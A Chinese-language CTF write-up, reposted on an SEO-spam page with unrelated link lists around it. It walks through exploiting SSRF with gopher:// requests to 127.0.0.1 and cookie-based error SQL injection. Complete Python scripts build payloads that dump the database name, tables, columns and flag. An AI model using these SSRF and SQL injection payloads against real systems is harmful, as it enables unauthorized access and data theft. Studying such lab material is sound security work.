当前位置: 首页 > wzjs >正文

朝阳公司做网站聊城seo培训

朝阳公司做网站,聊城seo培训,石狮建设局网站,网站开发报价题目有一行提示: you are not an inner user, so we can not let you have identify~(你不是内部用户,所以我们不能让你进行身份验证)联想到可能存在SSRF漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内…

题目有一行提示:

you are not an inner user, so we can not let you have identify~(你不是内部用户,所以我们不能让你进行身份验证)联想到可能存在SSRF漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正是因为请求是由服务器发起的,所以服务器能请求到与自身相连而与外网隔离的内部系统),所以根据提示内容会想到SSRF漏洞

查看源码,提示存在use.php

页面显示:你想用curl命令访问的网址是什么?

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤或限制,我们可以让服务器向自身发送请求(127.0.0.1),这样可以访问内网或本地服务

首先利用gopher协议实现内部访问

import urllib.parse# 目标服务器地址和端口
host = "127.0.0.1:80"# HTTP 请求体的内容
content = "uname=admin&passwd=admin"
content_length = len(content)# 构造 HTTP POST 请求的字符串
test = """POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}{}
""".format(host, content_length, content)# 对请求字符串进行 URL 编码
encoded_test = urllib.parse.quote(test)# 将换行符 %0A 替换为 %0D%0A,以符合 HTTP 协议
encoded_test = encoded_test.replace("%0A", "%0D%0A")# 构造最终的 Gopher 协议请求
result = "gopher://" + host + "/_" + encoded_testprint(result)

将 host 设为 127.0.0.1:80 是为了:

  • 利用 SSRF 让服务器自己发起 HTTP 请求,尝试访问本地 Web 应用中不可从外部访问的部分。
  • 结合 SQL 注入 payload,为了绕过一些限制,间接获取敏感数据

这段代码目的是 构造一个请求,用hopher协议发送,目的是让服务器访问其自身的 127.0.0.1 地址

抓包获取可以发现setcookie的值为admin的base64编码值。

猜测在setcookie处为注入点,首先测试是字符型还是整数型注入,构造payload为 \

 我们可以使用\(转义字符)来判断SQL注入的闭合方式。
    分析报错信息:看\斜杠后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型

在\后面为'),所以闭合方式为'),

使用报错注入查询数据库

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #"
//base64编码,提高注入得成功率
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查库security

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e)) #"
//base64编码,提高注入得成功率
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查表flag

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查内容flag  admin') and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) #

得到flag

http://www.dtcms.com/wzjs/390963.html

相关文章:

  • 网站的排名就是友情链接深圳网站设计专业乐云seo
  • 南宁高端网站建设公司谷歌seo是指什么意思
  • 南县做网站多少钱今日重大新闻头条十条
  • 网页qq登录手机版网址厦门seo网络优化公司
  • 动态Js文件 做网站标题你就知道
  • wordpress怎么给图片添加超链接百度关键词seo年度费用
  • 音乐网站建设目标开发一款app软件需要多少钱
  • 建站公司会有多大的坑百度广告优化
  • 网页设计与网站建设 作业alexa
  • 做网站排名步骤推广注册app拿佣金
  • 做网站有什么书如何添加百度指数
  • wordpress默认邮件在哪里设置企业网站seo平台
  • jsp网站开发遇到的问题seo优化报价
  • 做网站前期构架图百度关键词代做排名
  • 做网站用到其他网站的素材是侵权吗一键免费生成网页的网站
  • 如何判断网站程序使用asp还是php查销售数据的网站
  • 建设镇政府门户网站关键词搜索点击软件
  • 新手学做网站 iso ed2k百度百度一下就知道
  • 做外贸面料哪个网站可以接单广州seo服务
  • 制作外贸网站公司自己搭建网站
  • 河池公司做网站seo技术分享免费咨询
  • 如何修改代码wordpressseo优化方案案例
  • 建公司网站报价百度外包公司有哪些
  • 系统难还是网站设计难做网站开发外包
  • 注册页面模板搜索引擎优化seo网站
  • 襄州区住房和城乡建设局网站自动点击器软件
  • 网站建设好公司企业邮箱注册申请
  • 定制网站建设报价单推广代理公司
  • 上高县城乡规划建设局网站安徽seo
  • wordpress 网站排名优化营销目标分为三个方面